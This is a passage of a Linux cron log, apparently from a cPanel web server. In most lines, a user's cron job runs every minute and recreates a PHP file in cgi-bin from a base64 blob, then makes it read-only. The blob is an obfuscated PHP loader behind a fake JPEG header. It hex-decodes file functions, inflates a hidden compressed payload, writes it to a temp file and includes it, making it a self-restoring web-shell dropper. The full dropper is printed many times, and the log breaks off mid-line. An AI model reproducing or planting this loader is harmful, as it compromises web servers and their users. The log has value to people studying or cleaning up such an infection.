Nov 10 10:41:01 server CROND[18300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:42:01 server CROND[19127]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 10:42:01 server CROND[19128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:43:01 server CROND[20001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:44:01 server CROND[20805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:45:01 server CROND[21567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:45:01 server CROND[21568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:45:01 server CROND[21569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:46:01 server CROND[22243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:47:01 server CROND[23050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:48:01 server CROND[23863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:49:01 server CROND[24670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:50:01 server CROND[25501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:50:01 server CROND[25503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 10:50:01 server CROND[25504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:50:01 server CROND[25506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:50:01 server CROND[25505]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 10:51:01 server CROND[26475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:52:01 server CROND[27288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:53:01 server CROND[28107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:54:01 server CROND[28930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 